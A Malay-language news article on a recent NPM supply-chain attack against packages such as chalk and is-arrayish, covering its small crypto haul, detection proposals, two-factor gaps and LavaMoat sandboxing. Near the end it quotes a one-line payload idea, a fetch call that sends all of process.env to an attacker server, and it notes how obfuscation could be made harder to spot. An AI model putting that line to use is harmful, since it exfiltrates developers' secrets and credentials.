Serangan rantai bekalan terkini yang menyasarkan pakej NPM popular telah mendedahkan jurang keselamatan yang serius dalam pembangunan JavaScript , walaupun impak kewangan kekal mengejutkan rendah. Serangan ini telah menjejaskan beberapa pakej yang digunakan secara meluas termasuk is-arrayish
dan chalk
, yang secara kolektif menerima berbilion muat turun setiap minggu. Walau bagaimanapun, penyerang hanya berjaya mencuri sekitar 500 dolar Amerika Syarikat bernilai mata wang kripto, menonjolkan kedua-dua skala potensi dan batasan semasa serangan sedemikian.
Kesan Kewangan Serangan:
- Jumlah mata wang kripto yang dicuri: ~$500 USD
- Tempoh serangan: Beberapa jam sebelum dikesan
- Pakej yang terjejas:
is-arrayish
,chalk
, dan lain-lain - Gabungan muat turun mingguan: 2-3 bilion
Sistem Pengesanan Memerlukan Penambahbaikan Utama
Komuniti JavaScript menggesa sistem pengesanan automatik yang lebih baik untuk pakej berniat jahat. Ramai pembangun mencadangkan bahawa NPM sepatutnya melaksanakan sistem untuk menandai keluaran yang mencurigakan, terutamanya yang mengandungi kod yang dikaburkan dengan nama pembolehubah heksadesimal dan carian tatasusunan yang luar biasa. Pemeriksaan mudah seperti kerumitan setiap baris atau panjang baris maksimum akan dapat menangkap serangan khusus ini. Walau bagaimanapun, cabaran terletak pada sifat kucing-dan-tikus keselamatan - pengarang perisian hasad terus menyesuaikan teknik mereka untuk memintas sistem pengesanan.
Serangan ini menggunakan kaedah pengaburan kasar yang menjadikannya mudah dikesan. Penyerang yang lebih canggih boleh mengelakkan tanda merah yang jelas dengan menggunakan nama pembolehubah semantik dan struktur kod yang lebih bersih, menjadikan pengesanan jauh lebih sukar.
Jurang Pengesahan Dua Faktor Kekal Kritikal
Serangan ini berjaya sebahagiannya disebabkan taktik pancingan data yang memintas langkah keselamatan sedia ada. Walaupun NPM menyokong kaedah pengesahan yang kuat termasuk kunci perkakasan seperti YubiKey , pelaksanaannya tidak mudah diperdaya. Komuniti mendesak pengesahan dua faktor yang tidak boleh dipancing dan proses pengesahan yang lebih baik untuk keluaran pakej.
Sesetengah pembangun mencadangkan sistem pengesahan di mana keluaran memerlukan kelulusan melalui e-mel dalam masa satu jam selepas penerbitan, digabungkan dengan pengesahan dua faktor yang berasingan. Yang lain mencadangkan penerbitan automatik sepatutnya menggunakan perkhidmatan yang serupa dengan PagerDuty , memerlukan kelulusan daripada berbilang penyelenggara dengan kuasa veto.
Cadangan Penambahbaikan Keselamatan NPM:
- Pengesanan automatik corak kod yang dikaburkan
- Pemeriksaan kerumitan setiap baris untuk keluaran baharu
- Pengesahan panjang baris maksimum
- Keperluan pengesahan dua faktor yang tidak boleh dipancing
- Pengesahan e-mel dengan tetingkap kelulusan satu jam
- Sistem kelulusan berbilang penyelenggara untuk penerbitan automatik
LavaMoat Menawarkan Perlindungan Masa Jalan
Sebagai tindak balas kepada kerentanan ini, alatan seperti LavaMoat semakin mendapat perhatian kerana menyediakan perlindungan masa jalan terhadap pakej berniat jahat. LavaMoat berfungsi dengan meletakkan setiap kebergantungan dalam petak berasingan dengan akses terhad kepada objek dan API global. Pendekatan ini boleh menghalang perisian hasad daripada mengakses API pelayar seperti fetch
atau window.ethereum.request
walaupun ia melepasi langkah keselamatan lain.
Teknologi ini mencipta sistem berasaskan dasar di mana pakej hanya boleh mengakses sumber yang mereka perlukan secara eksplisit. Apabila kod berniat jahat cuba mengakses API yang tidak dibenarkan, ia hanya gagal untuk dilaksanakan, melindungi aplikasi tanpa merosakkan fungsi yang sah.
Ciri-ciri Keselamatan LavaMoat:
- Pengasingan berasaskan petak untuk setiap kebergantungan
- Kawalan akses berdasarkan dasar kepada API global
- Perlindungan masa jalan terhadap serangan rantai bekalan
- Integrasi dengan Webpack melalui pemalam @lavamoat/webpack
- Teknologi yang sama digunakan dalam sambungan pelayar MetaMask
Kejayaan Kewangan Terhad Mendedahkan Kekangan Serangan
Walaupun menjejaskan pakej dengan nombor muat turun yang besar, kecurian mata wang kripto penyerang kekal minimum pada kira-kira 500 dolar Amerika Syarikat. Pulangan rendah ini berlaku atas beberapa sebab: serangan ditemui dengan cepat, penyedia dompet dengan pantas menyenaraihitamkan alamat berniat jahat, dan ramai pengguna menerima amaran sebelum menyelesaikan transaksi.
Ini adalah serangan ke atas pakej npm yang sah yang berakhir dalam mungkin ratusan ribu mesin pembangun yang membina puluhan ribu aplikasi.
fetch(myserverurl+JSON.stringify(process.env)
akan menjadi magnitud yang lebih menguntungkan sebagai muatan.
Kejayaan terhad mencadangkan bahawa walaupun serangan rantai bekalan menimbulkan ancaman serius, langkah keselamatan semasa dan kewaspadaan komuniti boleh mengurangkan impak mereka dengan ketara apabila dilaksanakan dengan betul.
Implikasi Ekosistem yang Lebih Luas
Insiden ini mencerminkan cabaran yang lebih luas dalam rantai bekalan perisian yang melangkaui JavaScript . Kerentanan serupa wujud dalam pengurus pakej lain seperti pip untuk Python , di mana skrip pemasangan juga boleh melaksanakan kod sewenang-wenangnya pada mesin pembangun. Skala NPM menjadikannya sasaran yang menarik, tetapi cabaran keselamatan asas menjejaskan kebanyakan ekosistem pembangunan moden.
Serangan ini berfungsi sebagai peringatan bahawa pengurusan kebergantungan memerlukan kewaspadaan berterusan. Walaupun alatan dan proses terus bertambah baik, pembangun mesti mengimbangi kemudahan dengan keselamatan, sering menerima beberapa risiko untuk faedah produktiviti yang disediakan oleh ekosistem pakej.
Rujukan: You too can run malware from NPM (I mean without consequences)